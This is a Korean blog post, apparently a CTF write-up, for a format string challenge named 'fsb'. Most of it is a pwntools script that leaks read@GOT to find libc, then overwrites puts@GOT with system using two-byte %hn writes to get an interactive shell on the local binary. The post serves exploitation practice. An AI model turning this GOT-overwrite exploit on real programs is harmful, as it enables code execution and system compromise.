$hn을 사용해서 2바이트씩 주소를 바꿔볼거임.
이렇게 나온다고 쳤을 때
%51024d%/ 12$hn%16/ 687d%13$/ hn%30480/ d%14$hn ? / ???????? / got_addr / got_addr +2/ got_addr +4
6 7 8 9 10 11 12 13 14
|____________________________________________________________|
48byte
변경한거 : 2바이트씩 shift로 밀어주고 , ff(mod256)을 ffff(mode65536)으로 바꿔줌.
그리고 puts_got도 2바이트씩 바꿔야하기 때문에 +2씩 증가시켜 다음 인덱스에 넣어줌.
사용 코드
from pwn import *
p = process('./fsb')
e = ELF('./fsb')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level = 'debug'
# 주소leak
read_got = 0x403310
payload = b'%7$sAAAA' + p64(read_got)
p.send(payload)
dummy = p.recvuntil(b'AAAA').split(b'AAAA')[0]
read_addr = dummy.ljust(8, b'\x00')
read_addr = u64(read_addr)
print(f"[+]read_addr: {hex(read_addr)}")
# system 주소 계산
libc_base = read_addr - libc.symbols['read']
print(f"[+] libc_base: {hex(libc_base)}")
system_addr = libc_base + libc.symbols['system']
print(f"[+] system_addr : {hex(system_addr)}")
# count
puts_got = 0x4032f0
b0 = system_addr & 0xffff
b1 = (system_addr >> 16) & 0xffff
b2 = (system_addr >> 32) & 0xffff
written = 0
index6 = f"%{b0}d%12$hn".encode()
written += b0
pad7 = (b1 - written) % 65536
index7 = f"%{pad7}d%13$hn".encode()
written += pad7
pad8 = (b2 - written) % 65536
index8 = f"%{pad8}d%14$hn".encode()
written += pad8
print("index6:", index6)
print("index7:", index7)
print("index8:", index8)
fmt = index6 + index7 + index8
payload2 = fmt.ljust(48, b'A')
payload2 += p64(puts_got) + p64(puts_got+2) + p64(puts_got+4)
pause()
p.send(payload2)
p.interactive()
'System Hacking > 문제 품' 카테고리의 다른 글
fsb (0) | 2025.04.23 |
---|---|
diary (1) | 2025.04.17 |
sf2 (0) | 2025.04.13 |
si - stack pivot (0) | 2025.04.10 |
sf3 (0) | 2025.04.09 |